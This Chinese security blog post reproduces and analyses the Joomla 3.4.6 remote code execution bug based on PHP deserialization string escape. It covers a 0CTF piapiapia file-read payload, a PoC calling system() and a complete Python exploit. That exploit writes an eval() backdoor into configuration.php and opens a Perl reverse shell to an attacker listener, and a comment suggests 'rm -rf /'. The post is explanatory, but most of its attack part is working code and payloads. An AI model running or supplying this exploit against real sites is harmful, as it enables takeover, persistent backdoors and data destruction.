Joomla 3.4.6 RCE复现及分析

原创
06/05 08:00
阅读数 134

作者:whojoe(MS08067安全实验室SRST TEAM成员)

# 前言

前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下joomla3.4.6rce的代码,今天来自己分析学习一下。


# 环境搭建

Joomla 3.4.6 : [https://downloads.joomla.org/it/cms/joomla3/3-4-6](https://downloads.joomla.org/it/cms/joomla3/3-4-6)

php :5.4.45nts(不支持php7)

影响版本: 3.0.0 --- 3.4.6

漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla
(https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla)
要求PHP Version >= 5.3.10

# 反序列化长度扩展分析

## 0CTF-2016-piapiapia中的利用代码

这里就直接从大佬那里把代码拿来了

index.php

<?php  require_once('class.php');  if(isset($_SESSION['username'])) {    header('Location: profile.php');    exit;  }  if(isset($_POST["username"]) && isset($_POST["password"])) {    $username = $_POST['username'];    $password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');

if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else {echo '<!DOCTYPE html><html><head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body> <div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Login</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3">

<button type="submit" class="btn btn-primary">LOGIN</button> </form> </div></body></html>';

}?>

profile.php

<?php  require_once('class.php');  if($_SESSION['username'] == null) {    die('Login First');    }  $username = $_SESSION['username'];  $profile=$user->show_profile($username);  if($profile  == null) {    header('Location: update.php');  }  else {    $profile = unserialize($profile);    $phone = $profile['phone'];    $email = $profile['email'];    $nickname = $profile['nickname'];    $photo = base64_encode(file_get_contents($profile['photo']));?><!DOCTYPE html><html><head>   <title>Profile</title>   <link href="static/bootstrap.min.css" rel="stylesheet">   <script src="static/jquery.min.js"></script>   <script src="static/bootstrap.min.js"></script></head><body>  <div class="container" style="margin-top:100px">      <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">    <h3>Hi <?php echo $nickname;?></h3>    <label>Phone: <?php echo $phone;?></label>    <label>Email: <?php echo $email;?></label>  </div></body></html><?php  }?>

register.php

<?php  require_once('class.php');  if(isset($_POST['username']) && isset($_POST['password'])) {    $username = $_POST['username'];    $password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!<a href="index.php">Please Login</a>'; } else { die('User name Already Exists'); } } else {?><!DOCTYPE html><html><head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3">

<button type="submit" class="btn btn-primary">REGISTER</button> </form> </div></body></html><?php }?>

update.php

<?php  require_once('class.php');  if($_SESSION['username'] == null) {    die('Login First');    }  if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');

$file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else {?><!DOCTYPE html><html><head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body> <div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div></body></html><?php }?>

class.php

<?phprequire('config.php');

class user extends mysql{ private $table = 'users';

public function is_exists($username) { $username = parent::filter($username);

$where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password);

$key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password);

$where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username);

$where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);

$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; }}

class mysql { private $link = null;

public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'");

return $this->link; }

public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); }

public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); }

public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); }

public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; }}session_start();$user = new user();$user->connect($config);

config.php

<?php  $config['hostname'] = '127.0.0.1';  $config['username'] = 'root';  $config['password'] = 'root';  $config['database'] = 'test';  $flag = '121312131';?>


## 分析

index.php是登录界面(没啥用)

profile.php是读取文件的(划重点)

register.php是注册的(没啥用)

update.php是更新信息(划重点)

class.php是核心代码(划重点)

config.php flag在里面

在profile.php中可以读取文件,并且上面有反序列化操作,在update.php文件上传没有做任何过滤,但是估计实际环境会限制代码执行,在class.php中有序列化操作,并且对字符串进行了替换,由于没有对传入的单引号进行过滤,所以是存在sql注入的,但是没什么用,数据库中的所有东西都是我们可控的,所以重点就在了序列化和反序列化还有字符串长度替换上,看下过滤代码

  public function filter($string) {    $escape = array('\'', '\\\\');    $escape = '/' . implode('|', $escape) . '/';    $string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }

可以看到长度唯一改变的就是where,那么我们上传一个文件看一下

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";s:5:"joezk";s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}


这里面的photo是我们想要控制的,那么我们就需要控制nickname字段加上长度的替换来实现任意文件读取,但是nickname长度被限制

  if(!preg_match('/^\d{11}$/', $_POST['phone']))      die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');

$file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');

这里可以使用数组绕过,那么我们就传一下数组来看一下

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"joezk";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

发现里面的结构发生了改变,所以我们就要考虑如何构造,因为后面的s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}是没用的,所以这一部分就被丢弃了,为了保证还有photo字段,就要把字符串进行扩充,结合前面的正则替换,where变成hacker,增加了一个长度,所以我们的最终序列化之后的应该是这种格式的

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

其中的where";}s:5:"photo";s:10:"config.php";}是我们要发送过去的nickname

";}s:5:"photo";s:10:"config.php";}长度为34,那么我们就需要把这34位给挤出去,才能保证这个是可以反序列化的,为了把这34位挤出去,就需要34个where来填充,经过正则匹配后,就会变成34个hacker长度就增加了34位,即可满足我们的要求

即nickname为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}


发送数据包

POST /fff/update.php HTTP/1.1Host: 192.168.164.138Content-Length: 1405Cache-Control: max-age=0Origin: http://192.168.164.138Upgrade-Insecure-Requests: 1DNT: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjxnZAvhPqkTxgKarUser-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Referer: http://192.168.164.138/fff/update.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=rdfs2saq7tgjqa3p224g33cg16Connection: close

------WebKitFormBoundaryjxnZAvhPqkTxgKarContent-Disposition: form-data; name="phone"

12345678901------WebKitFormBoundaryjxnZAvhPqkTxgKarContent-Disposition: form-data; name="email"

123123@qq.com------WebKitFormBoundaryjxnZAvhPqkTxgKarContent-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}------WebKitFormBoundaryjxnZAvhPqkTxgKarContent-Disposition: form-data; name="photo"; filename="QQ&#25130;&#22270;20200428221719.jpg"Content-Type: image/jpeg

11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

------WebKitFormBoundaryjxnZAvhPqkTxgKar--

查看数据库中结果

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

打开profile.php即可查看结果

经过base64解密


## joomla中的利用

代码是从大佬那里哪来的,具体如下

<?phpclass evil{    public $cmd;

public function __construct($cmd){ $this->cmd = $cmd; }

public function __destruct(){ system($this->cmd); }}

class User{ public $username; public $password;

public function __construct($username, $password){ $this->username = $username; $this->password = $password; }

}

function write($data){ $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); file_put_contents("dbs.txt", $data);}

function read(){ $data = file_get_contents("dbs.txt"); $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r;}

if(file_exists("dbs.txt")){ unlink("dbs.txt"); }

$username = "peri0d";$password = "1234";write(serialize(new User($username, $password)));var_dump(unserialize(read()));


username和password我们是可控的

大概的利用链就是通过反序列化来调用evil函数执行我们要执行的命令

<?phpclass evil{    public $cmd;    public function __construct($cmd){        $this->cmd = $cmd;    }    public function __destruct(){        system($this->cmd);    }}

class User{ public $username; public $password; public $ts; public function __construct($username, $password){ $this->username = $username; $this->password = $password; }}$username = "peri0d";$password = "1234";$r = new User($username, $password);$r->ts = new evil('whoami');echo serialize($r);//O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

看以前前面的过滤,如果传入chr(0).'*'.chr(0)是没什么用的,但是如果传入\0\0\0,就可以对序列化的字符串长度进行缩短,我们刚才的payload需要进行修改才可以用,首先,正常经过序列化的只有两个参数,而我们构造的有三个,正好结合前面的长度缩短删除掉一个参数即可实现,所以最终的payload应该是这样的。

<?phpclass evil{    public $cmd;    public function __construct($cmd){        $this->cmd = $cmd;    }    public function __destruct(){        system($this->cmd);    }}

class User{ public $username; public $password; public $ts; public function __construct($username, $password){ $this->username = $username; $this->password = $password; }}$aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';unserialize($aa);

我们来对比一下序列化之后的字符串

O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

可以看出两个不同的就是

peri0d";s:8:"password";s:4:"1234

目的就是要把利用长度缩减把password字段给包括到username字段里,这一部分,他的长度是32要去掉

这里面我们的payload是

s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}

长度为47

我们只能控制两个参数就是username和password,我们为了保证password字段被username吃掉而且还要保证payload能够被利用,payload就要放在password字段中传入,通过username字段进行缩减从而达到目标,有了思路,就开始构造。

$username = "peri0d";$password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';echo serialize(new User($username, $password));//O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

这里我们需要删除的是

";s:8:"password";s:55:"123455

他的长度是28

在正则中

str_replace('\0\0\0', chr(0).'*'.chr(0), $data);

我们每次只能删除的长度是3,所以字符串长度应该是3的倍数,那么就把长度减一,变成27即可,需要9个\0\0\0

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';echo serialize(new User($username, $password));//O:4:"User":2:{s:8:"username";s:60:"peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

执行一下

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';write(serialize(new User($username, $password)));var_dump(unserialize(read()));

可以看到我们的payload已经执行了。


# 漏洞复现

下载poc之后安装需要的包,运行exp

菜刀按上面的网址和密码链接

查看configuration.php发现已经写入一句话

# exp分析

#!/usr/bin/env python3 import requestsfrom bs4 import BeautifulSoupimport sysimport stringimport randomimport argparsefrom termcolor import colored PROXS = {'http':'127.0.0.1:8080'}#PROXS = {} def random_string(stringLength):        letters = string.ascii_lowercase        return ''.join(random.choice(letters) for i in range(stringLength))  backdoor_param = random_string(50) def print_info(str):        print(colored("[*] " + str,"cyan")) def print_ok(str):        print(colored("[+] "+ str,"green")) def print_error(str):        print(colored("[-] "+ str,"red")) def print_warning(str):        print(colored("[!!] " + str,"yellow")) def get_token(url, cook):        token = ''        resp = requests.get(url, cookies=cook, proxies = PROXS)        html = BeautifulSoup(resp.text,'html.parser')        # csrf token is the last input        for v in html.find_all('input'):                csrf = v        csrf = csrf.get('name')        return csrf  def get_error(url, cook):        resp = requests.get(url, cookies = cook, proxies = PROXS)        if 'Failed to decode session object' in resp.text:                #print(resp.text)                return False        #print(resp.text)        return True  def get_cook(url):        resp = requests.get(url, proxies=PROXS)        #print(resp.cookies)        return resp.cookies  def gen_pay(function, command):        # Generate the payload for call_user_func('FUNCTION','COMMAND')        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'        #payload =  command + ' || $a=\'http://wtf\';'        payload =  'http://l4m3rz.l337/;' + command        # Following payload will append an eval() at the enabled of the configuration file        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'        function_len = len(function)        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))        return final def make_req(url , object_payload):        # just make a req with object        print_info('Getting Session Cookie ..')        cook = get_cook(url)        print_info('Getting CSRF Token ..')        csrf = get_token( url, cook)         user_payload = '\\0\\0\\0' * 9        padding = 'AAA' # It will land at this padding        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects         inj_object = '";'        inj_object += object_payload        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part        password_payload = padding + inj_object        params = {            'username': user_payload,            'password': password_payload,            'option':'com_users',            'task':'user.login',            csrf :'1'            }         print_info('Sending request ..')        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)        return resp.text def get_backdoor_pay():        # This payload will backdoor the the configuration .PHP with an eval on POST request         function = 'assert'        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'        # payload =  command + ' || $a=\'http://wtf\';'        # Following payload will append an eval() at the enabled of the configuration file        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'        function_len = len(function)        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))        return final def check(url):        check_string = random_string(20)        target_url = url + 'index.php/component/users'        html = make_req(url, gen_pay('print_r',check_string))        if check_string in html:                return True        else:                return False def ping_backdoor(url,param_name):        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)        if 'PWNED' in res.text:                return True        return False def execute_backdoor(url, payload_code):        # Execute PHP code from the backdoor        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)        print(res.text) def exploit(url, lhost, lport):        # Exploit the target        # Default exploitation will append en eval function at the end of the configuration.pphp        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')        # e.g. get_payload('system','rm -rf /')         # First check that the backdoor has not been already implanted        target_url = url + 'index.php/component/users'         make_req(target_url, get_backdoor_pay())        if ping_backdoor(url, backdoor_param):                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)                print_info('Now it\'s time to reverse, trying with a system + perl')                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')  if __name__ == '__main__':        parser = argparse.ArgumentParser()        parser.add_argument('-t','--target',required=True,help='Joomla Target')        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')        args = vars(parser.parse_args())

url = args['target'] if(check(url)): print_ok('Vulnerable') if args['exploit']: exploit(url, args['lhost'], args['lport']) else: print_info('Use --exploit to exploit it') else: print_error('Seems NOT Vulnerable ;/')

在第一行已经定义了代理

PROXS = {'http':'127.0.0.1:8080'}

获取cookie

def get_cook(url):        resp = requests.get(url, proxies=PROXS)        #print(resp.cookies)        return resp.cookies

获取csrf token

def get_token(url, cook):        token = ''        resp = requests.get(url, cookies=cook, proxies = PROXS)        html = BeautifulSoup(resp.text,'html.parser')        # csrf token is the last input        for v in html.find_all('input'):                csrf = v        csrf = csrf.get('name')        return csrf

验证漏洞存在,如果存在的话,执行exploit

从新获取cookie和token,写入一句话,检查一句话是否存在,之后通过一句话执行反弹shell操作

def execute_backdoor(url, payload_code):        # Execute PHP code from the backdoor        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)        print(res.text) def exploit(url, lhost, lport):        # Exploit the target        # Default exploitation will append en eval function at the end of the configuration.pphp        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')        # e.g. get_payload('system','rm -rf /')         # First check that the backdoor has not been already implanted        target_url = url + 'index.php/component/users'         make_req(target_url, get_backdoor_pay())        if ping_backdoor(url, backdoor_param):                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)                print_info('Now it\'s time to reverse, trying with a system + perl')                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')

这里跟踪一下写入一句话,漏洞点存在于libraries/joomla/session/storage/database.php中于是我们在这里下断点查看一下

public function read($id){    // Get the database connection object and verify its connected.    $db = JFactory::getDbo();

try { // Get the session data from the database table. $query = $db->getQuery(true) ->select($db->quoteName('data')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

$db->setQuery($query);

$result = (string) $db->loadResult();

$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

return $result; } catch (Exception $e) { return false; } }

/** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $data The session data. * * @return boolean True on success, false otherwise. * * @since 11.1 */ public function write($id, $data){ // Get the database connection object and verify its connected. $db = JFactory::getDbo();

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

try { $query = $db->getQuery(true) ->update($db->quoteName('#__session')) ->set($db->quoteName('data') . ' = ' . $db->quote($data)) ->set($db->quoteName('time') . ' = ' . $db->quote((int) time())) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

// Try to update the session data in the database table. $db->setQuery($query);

if (!$db->execute()) { return false; } /* Since $db->execute did not throw an exception, so the query was successful. Either the data changed, or the data was identical. In either case we are done. */ return true; } catch (Exception $e) { return false; } }

看以前前面的过滤,如果传入chr(0).’*’.chr(0)是没什么用的,但是如果传入\0\0\0,就可以对序列化的字符串长度进行缩短,有了之前的分析,这里就会好理解许多,可以参考我的另一篇文章PHP 反序列化字符逃逸学习(https://blog.csdn.net/qq_43645782/article/details/105801796)

数据库中的数据

__default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1588261345;s:18:"session.timer.last";i:1588261347;s:17:"session.timer.now";i:1588261570;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"878c42d725cd32dcc52aa2ca0c848ded";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}//正常的数据__default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1588256254;s:18:"session.timer.last";i:1588256254;s:17:"session.timer.now";i:1588256306;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"d4bc08c9cb28f7a